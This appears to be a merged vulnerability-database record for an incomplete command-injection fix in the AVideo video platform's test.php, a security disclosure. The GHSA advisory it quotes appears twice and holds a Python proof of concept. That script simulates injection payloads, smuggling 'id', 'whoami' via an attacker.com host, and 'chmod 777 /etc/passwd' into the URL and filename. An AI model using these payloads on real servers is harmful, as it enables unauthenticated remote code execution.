{"id":"CVE-2026-41064","aliases":["EUVD-2026-24561","GHSA-pq8p-wc4f-vg7j"],"status":"published","title":"AVideo has an incomplete fix for CVE-2026-33502 (Command Injection)","description":"WWBN AVideo is an open source video platform. In versions up to and including 29.0, an incomplete fix for AVideo's `test.php` adds `escapeshellarg` for wget but leaves the `file_get_contents` and `curl` code paths unsanitized, and the URL validation regex `/^http/` accepts strings like `httpevil[.]com`. Commit 78bccae74634ead68aa6528d631c9ec4fd7aa536 contains an updated fix.","severity":{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00335,"percentile":0.27214,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-78"],"published":"2026-04-14T23:27:18Z","modified":"2026-10-28T02:30:24Z","affected":[{"source":"ghsa","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"29.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"29.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0","29.0"]}],"products":[{"vendor":"wwbn","product":"avideo"}],"references":[{"url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-pq8p-wc4f-vg7j","tags":["x_refsource_CONFIRM","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-3fpm-8rjr-v5mc","tags":["x_refsource_MISC","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/WWBN/AVideo/commit/1e6cf03e93b5a5318204b010ea28440b0d9a5ab3","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/WWBN/AVideo/commit/78bccae74634ead68aa6528d631c9ec4fd7aa536","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33502","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41064","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-pq8p-wc4f-vg7j"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/41xxx/CVE-2026-41064.json","tags":["advisory"]},{"url":"https://github.com/WWBN/AVideo","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-41064","title":"AVideo has an incomplete fix for CVE-2026-33502 (Command Injection)","description":"WWBN AVideo is an open source video platform. In versions up to and including 29.0, an incomplete fix for AVideo's `test.php` adds `escapeshellarg` for wget but leaves the `file_get_contents` and `curl` code paths unsanitized, and the URL validation regex `/^http/` accepts strings like `httpevil[.]com`. Commit 78bccae74634ead68aa6528d631c9ec4fd7aa536 contains an updated fix.","status":"published","published":"2026-04-21T23:04:32.047Z","modified":"2026-04-22T18:09:42.398Z","cvss":[{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","level":"critical","assessor":"cna"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T13:40:57.334596Z"}],"euvd":[{"id":"EUVD-2026-24561","description":"WWBN AVideo is an open source video platform. In versions up to and including 29.0, an incomplete fix for AVideo's `test.php` adds `escapeshellarg` for wget but leaves the `file_get_contents` and `curl` code paths unsanitized, and the URL validation regex `/^http/` accepts strings like `httpevil[.]com`. Commit 78bccae74634ead68aa6528d631c9ec4fd7aa536 contains an updated fix.","status":"published","published":"2026-04-21T23:04:32Z","modified":"2026-04-22T18:09:42Z","cvss":[{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","level":"critical"}],"updated_at":"2026-11-02T19:24:19.81608Z"}],"ghsa":[{"id":"GHSA-pq8p-wc4f-vg7j","title":"WWBN AVideo has an incomplete fix for CVE-2026-33502: Command Injection","description":"### Summary\n\nThe incomplete fix for AVideo's `test.php` adds `escapeshellarg` for wget but leaves the `file_get_contents` and `curl` code paths unsanitized, and the URL validation regex `/^http/` accepts strings like `httpevil.com`.\n\n### Affected Package\n\n- **Ecosystem:** Other\n- **Package:** AVideo\n- **Affected versions:** \u003c commit 1e6cf03e93b5\n- **Patched versions:** \u003e= commit 1e6cf03e93b5\n\n### Details\n\nThe vulnerable `wget()` function in `plugin/Live/test.php`:\n\n```php\nfunction wget($url, $filename) {\n    $cmd = \"wget --tries=1 {$url} -O {$filename} --no-check-certificate\";\n    exec($cmd);\n}\n```\n\nNeither `$url` nor `$filename` is passed through `escapeshellarg()`. The URL validation uses `preg_match(\"/^http/\", $url)` which:\n- Does not require `://` (matches `httpevil.com`)\n- Does not block shell metacharacters (`;`, backticks, `$()`)\n- Does not validate the URL is actually a URL\n\nA payload like `http://x; id \u003e /tmp/pwned; echo ` passes the regex and injects arbitrary commands via the semicolons.\n\nThe fix adds `escapeshellarg()` for the wget path and an `isAllowedStatsTestURL` allowlist, but `url_get_contents()` (used by the same endpoint) still follows redirects without validation. The wget-specific fix does not protect the `file_get_contents` and `curl` code paths that handle the same user-supplied URL.\n\n### PoC\n\n```python\n\"\"\"\nCVE-2026-33502 - Command injection in AVideo plugin/Live/test.php\n\nTests REAL vulnerable code from:\n  plugin/Live/test.php (commit pre-1e6cf03)\n\nThe vulnerable wget() function at the end of test.php:\n  $cmd = \"wget --tries=1 {$url} -O {$filename} --no-check-certificate\";\n  exec($cmd);\n\nNo escapeshellarg() is used on $url or $filename parameters.\nThe URL validation regex /^http/ is also weak (matches \"httpevil.com\").\n\"\"\"\n\nimport re\nimport sys\nimport os\nimport subprocess\n\nsrc_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'src')\nsrc_content = open(os.path.join(src_dir, 'test.php')).read()\n\nprint(\"=\" * 60)\nprint(\"CVE-2026-33502: AVideo Command Injection PoC (Real Source)\")\nprint(\"=\" * 60)\nprint()\n\nhas_weak_regex = bool(re.search(r'preg_match\\(\"/\\^http/\"', src_content))\nhas_unsanitized_wget = 'wget --tries=1 {$url} -O {$filename}' in src_content\nhas_escapeshellarg = 'escapeshellarg' in src_content\nhas_exec = 'exec($cmd)' in src_content\nhas_auth_check = 'User::isAdmin()' in src_content\n\nprint(\"[*] Source: plugin/Live/test.php (pre-fix)\")\nprint(\"[*] Weak URL regex /^http/: \" + str(has_weak_regex))\nprint(\"[*] Unsanitized wget command: \" + str(has_unsanitized_wget))\nprint(\"[*] escapeshellarg used: \" + str(has_escapeshellarg))\nprint(\"[*] exec() used: \" + str(has_exec))\nprint(\"[*] Authentication check: \" + str(has_auth_check))\nprint()\n\ndef extract_wget_function():\n    match = re.search(r'function wget\\(.*?\\n\\}', src_content, re.DOTALL)\n    if match:\n        return match.group(0)\n    return None\n\nwget_func = extract_wget_function()\nif wget_func:\n    print(\"[*] Extracted real wget function:\")\n    for line in wget_func.split('\\n'):\n        print(\"    \" + line)\n    print()\n\ndef simulate_url_validation(url):\n    if not url or url == \"php://input\":\n        return False\n    if not re.match(r\"^http\", url):\n        return False\n    return True\n\ndef simulate_vulnerable_wget_cmd(url, filename):\n    cmd = f\"wget --tries=1 {url} -O {filename} --no-check-certificate\"\n    return cmd\n\nprint(\"[*] Testing command injection payloads:\")\nprint()\n\nvuln_count = 0\n\npayload = \"http://x; id \u003e /tmp/pwned; echo \"\nvalid = simulate_url_validation(payload)\ncmd = simulate_vulnerable_wget_cmd(payload, \"/tmp/test123\")\nprint(f\"  Payload: {payload}\")\nprint(f\"  Passes regex: {valid}\")\nprint(f\"  Generated command: {cmd}\")\nif valid and '; id' in cmd:\n    print(\"  Result: COMMAND INJECTION - 'id' will execute\")\n    vuln_count += 1\nprint()\n\npayload2 = \"http://x`whoami`.attacker.com/test\"\nvalid2 = simulate_url_validation(payload2)\ncmd2 = simulate_vulnerable_wget_cmd(payload2, \"/tmp/test456\")\nprint(f\"  Payload: {payload2}\")\nprint(f\"  Passes regex: {valid2}\")\nprint(f\"  Generated command: {cmd2}\")\nif valid2 and '`whoami`' in cmd2:\n    print(\"  Result: COMMAND INJECTION via backticks\")\n    vuln_count += 1\nprint()\n\npayload3 = \"httpevil.attacker.com\"\nvalid3 = simulate_url_validation(payload3)\nprint(f\"  Payload: {payload3}\")\nprint(f\"  Passes regex: {valid3}\")\nif valid3:\n    print(\"  Result: WEAK REGEX - 'httpevil.com' matches /^http/\")\n    vuln_count += 1\nprint()\n\ncmd4 = simulate_vulnerable_wget_cmd(\"http://legit.com\", \"/tmp/test; chmod 777 /etc/passwd\")\nprint(f\"  Filename injection command: {cmd4}\")\nif '; chmod' in cmd4:\n    print(\"  Result: FILENAME INJECTION possible\")\n    vuln_count += 1\nprint()\n\nif not has_auth_check:\n    vuln_count += 1\n    print(\"[*] No authentication required to reach test.php\")\nprint()\n\nif vuln_count \u003e 0 and has_unsanitized_wget:\n    print(\"VULNERABILITY CONFIRMED\")\n    sys.exit(0)\nelse:\n    print(\"VULNERABILITY NOT CONFIRMED\")\n    sys.exit(1)\n\n```\n\n**Steps to reproduce:**\n1. `git clone https://github.com/WWBN/AVideo /tmp/AVideo_test`\n2. `cd /tmp/AVideo_test \u0026\u0026 git checkout 1e6cf03e93b5a5318204b010ea28440b0d9a5ab3~1`\n3. `python3 poc.py`\n\n**Expected output:**\n```\nVULNERABILITY CONFIRMED\nwget() uses unsanitized $url in shell command via exec(), and the URL regex /^http/ is too weak to prevent injection.\n```\n\n### Impact\n\nAn unauthenticated attacker can achieve remote code execution on the AVideo server by sending a crafted URL to `plugin/Live/test.php` that injects shell commands via semicolons or backticks in the wget command line. This grants full server compromise -- the attacker can read database credentials, install backdoors, or pivot to internal systems.\n\n### Suggested Remediation\n\n1. Use `escapeshellarg()` on both `$url` and `$filename` in the `wget()` function.\n2. Strengthen the URL regex to require `^https?://` and reject shell metacharacters.\n3. Add authentication (`User::isAdmin()`) to the `test.php` endpoint.\n4. Apply `escapeshellarg()` consistently across all code paths (wget, curl, file_get_contents).","status":"published","published":"2026-04-14T23:27:18Z","modified":"2026-04-24T20:41:24Z","cvss":[{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","level":"high"},{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","level":"critical"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:39:56.453138Z"}],"nvd":[{"id":"CVE-2026-41064","description":"WWBN AVideo is an open source video platform. In versions up to and including 29.0, an incomplete fix for AVideo's `test.php` adds `escapeshellarg` for wget but leaves the `file_get_contents` and `curl` code paths unsanitized, and the URL validation regex `/^http/` accepts strings like `httpevil[.]com`. Commit 78bccae74634ead68aa6528d631c9ec4fd7aa536 contains an updated fix.","status":"published","published":"2026-04-22T00:16:28.187Z","modified":"2026-10-26T21:10:00.17Z","cvss":[{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","level":"critical","assessor":"secondary"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:12:15.493943Z"}],"osv":[{"id":"CVE-2026-41064","title":"AVideo has an incomplete fix for CVE-2026-33502 (Command Injection)","description":"WWBN AVideo is an open source video platform. In versions up to and including 29.0, an incomplete fix for AVideo's `test.php` adds `escapeshellarg` for wget but leaves the `file_get_contents` and `curl` code paths unsanitized, and the URL validation regex `/^http/` accepts strings like `httpevil[.]com`. Commit 78bccae74634ead68aa6528d631c9ec4fd7aa536 contains an updated fix.","status":"published","published":"2026-04-21T23:04:32.047Z","modified":"2026-10-28T02:30:24.223480707Z","cvss":[{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","level":"critical"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:45:03.424067Z"},{"id":"GHSA-pq8p-wc4f-vg7j","title":"WWBN AVideo has an incomplete fix for CVE-2026-33502: Command Injection","description":"### Summary\n\nThe incomplete fix for AVideo's `test.php` adds `escapeshellarg` for wget but leaves the `file_get_contents` and `curl` code paths unsanitized, and the URL validation regex `/^http/` accepts strings like `httpevil.com`.\n\n### Affected Package\n\n- **Ecosystem:** Other\n- **Package:** AVideo\n- **Affected versions:** \u003c commit 1e6cf03e93b5\n- **Patched versions:** \u003e= commit 1e6cf03e93b5\n\n### Details\n\nThe vulnerable `wget()` function in `plugin/Live/test.php`:\n\n```php\nfunction wget($url, $filename) {\n    $cmd = \"wget --tries=1 {$url} -O {$filename} --no-check-certificate\";\n    exec($cmd);\n}\n```\n\nNeither `$url` nor `$filename` is passed through `escapeshellarg()`. The URL validation uses `preg_match(\"/^http/\", $url)` which:\n- Does not require `://` (matches `httpevil.com`)\n- Does not block shell metacharacters (`;`, backticks, `$()`)\n- Does not validate the URL is actually a URL\n\nA payload like `http://x; id \u003e /tmp/pwned; echo ` passes the regex and injects arbitrary commands via the semicolons.\n\nThe fix adds `escapeshellarg()` for the wget path and an `isAllowedStatsTestURL` allowlist, but `url_get_contents()` (used by the same endpoint) still follows redirects without validation. The wget-specific fix does not protect the `file_get_contents` and `curl` code paths that handle the same user-supplied URL.\n\n### PoC\n\n```python\n\"\"\"\nCVE-2026-33502 - Command injection in AVideo plugin/Live/test.php\n\nTests REAL vulnerable code from:\n  plugin/Live/test.php (commit pre-1e6cf03)\n\nThe vulnerable wget() function at the end of test.php:\n  $cmd = \"wget --tries=1 {$url} -O {$filename} --no-check-certificate\";\n  exec($cmd);\n\nNo escapeshellarg() is used on $url or $filename parameters.\nThe URL validation regex /^http/ is also weak (matches \"httpevil.com\").\n\"\"\"\n\nimport re\nimport sys\nimport os\nimport subprocess\n\nsrc_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'src')\nsrc_content = open(os.path.join(src_dir, 'test.php')).read()\n\nprint(\"=\" * 60)\nprint(\"CVE-2026-33502: AVideo Command Injection PoC (Real Source)\")\nprint(\"=\" * 60)\nprint()\n\nhas_weak_regex = bool(re.search(r'preg_match\\(\"/\\^http/\"', src_content))\nhas_unsanitized_wget = 'wget --tries=1 {$url} -O {$filename}' in src_content\nhas_escapeshellarg = 'escapeshellarg' in src_content\nhas_exec = 'exec($cmd)' in src_content\nhas_auth_check = 'User::isAdmin()' in src_content\n\nprint(\"[*] Source: plugin/Live/test.php (pre-fix)\")\nprint(\"[*] Weak URL regex /^http/: \" + str(has_weak_regex))\nprint(\"[*] Unsanitized wget command: \" + str(has_unsanitized_wget))\nprint(\"[*] escapeshellarg used: \" + str(has_escapeshellarg))\nprint(\"[*] exec() used: \" + str(has_exec))\nprint(\"[*] Authentication check: \" + str(has_auth_check))\nprint()\n\ndef extract_wget_function():\n    match = re.search(r'function wget\\(.*?\\n\\}', src_content, re.DOTALL)\n    if match:\n        return match.group(0)\n    return None\n\nwget_func = extract_wget_function()\nif wget_func:\n    print(\"[*] Extracted real wget function:\")\n    for line in wget_func.split('\\n'):\n        print(\"    \" + line)\n    print()\n\ndef simulate_url_validation(url):\n    if not url or url == \"php://input\":\n        return False\n    if not re.match(r\"^http\", url):\n        return False\n    return True\n\ndef simulate_vulnerable_wget_cmd(url, filename):\n    cmd = f\"wget --tries=1 {url} -O {filename} --no-check-certificate\"\n    return cmd\n\nprint(\"[*] Testing command injection payloads:\")\nprint()\n\nvuln_count = 0\n\npayload = \"http://x; id \u003e /tmp/pwned; echo \"\nvalid = simulate_url_validation(payload)\ncmd = simulate_vulnerable_wget_cmd(payload, \"/tmp/test123\")\nprint(f\"  Payload: {payload}\")\nprint(f\"  Passes regex: {valid}\")\nprint(f\"  Generated command: {cmd}\")\nif valid and '; id' in cmd:\n    print(\"  Result: COMMAND INJECTION - 'id' will execute\")\n    vuln_count += 1\nprint()\n\npayload2 = \"http://x`whoami`.attacker.com/test\"\nvalid2 = simulate_url_validation(payload2)\ncmd2 = simulate_vulnerable_wget_cmd(payload2, \"/tmp/test456\")\nprint(f\"  Payload: {payload2}\")\nprint(f\"  Passes regex: {valid2}\")\nprint(f\"  Generated command: {cmd2}\")\nif valid2 and '`whoami`' in cmd2:\n    print(\"  Result: COMMAND INJECTION via backticks\")\n    vuln_count += 1\nprint()\n\npayload3 = \"httpevil.attacker.com\"\nvalid3 = simulate_url_validation(payload3)\nprint(f\"  Payload: {payload3}\")\nprint(f\"  Passes regex: {valid3}\")\nif valid3:\n    print(\"  Result: WEAK REGEX - 'httpevil.com' matches /^http/\")\n    vuln_count += 1\nprint()\n\ncmd4 = simulate_vulnerable_wget_cmd(\"http://legit.com\", \"/tmp/test; chmod 777 /etc/passwd\")\nprint(f\"  Filename injection command: {cmd4}\")\nif '; chmod' in cmd4:\n    print(\"  Result: FILENAME INJECTION possible\")\n    vuln_count += 1\nprint()\n\nif not has_auth_check:\n    vuln_count += 1\n    print(\"[*] No authentication required to reach test.php\")\nprint()\n\nif vuln_count \u003e 0 and has_unsanitized_wget:\n    print(\"VULNERABILITY CONFIRMED\")\n    sys.exit(0)\nelse:\n    print(\"VULNERABILITY NOT CONFIRMED\")\n    sys.exit(1)\n\n```\n\n**Steps to reproduce:**\n1. `git clone https://github.com/WWBN/AVideo /tmp/AVideo_test`\n2. `cd /tmp/AVideo_test \u0026\u0026 git checkout 1e6cf03e93b5a5318204b010ea28440b0d9a5ab3~1`\n3. `python3 poc.py`\n\n**Expected output:**\n```\nVULNERABILITY CONFIRMED\nwget() uses unsanitized $url in shell command via exec(), and the URL regex /^http/ is too weak to prevent injection.\n```\n\n### Impact\n\nAn unauthenticated attacker can achieve remote code execution on the AVideo server by sending a crafted URL to `plugin/Live/test.php` that injects shell commands via semicolons or backticks in the wget command line. This grants full server compromise -- the attacker can read database credentials, install backdoors, or pivot to internal systems.\n\n### Suggested Remediation\n\n1. Use `escapeshellarg()` on both `$url` and `$filename` in the `wget()` function.\n2. Strengthen the URL regex to require `^https?://` and reject shell metacharacters.\n3. Add authentication (`User::isAdmin()`) to the `test.php` endpoint.\n4. Apply `escapeshellarg()` consistently across all code paths (wget, curl, file_get_contents).","status":"published","published":"2026-04-14T23:27:18Z","modified":"2026-07-08T08:14:41.749208442Z","cvss":[{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","level":"critical"},{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:46:53.700556Z"}]}}
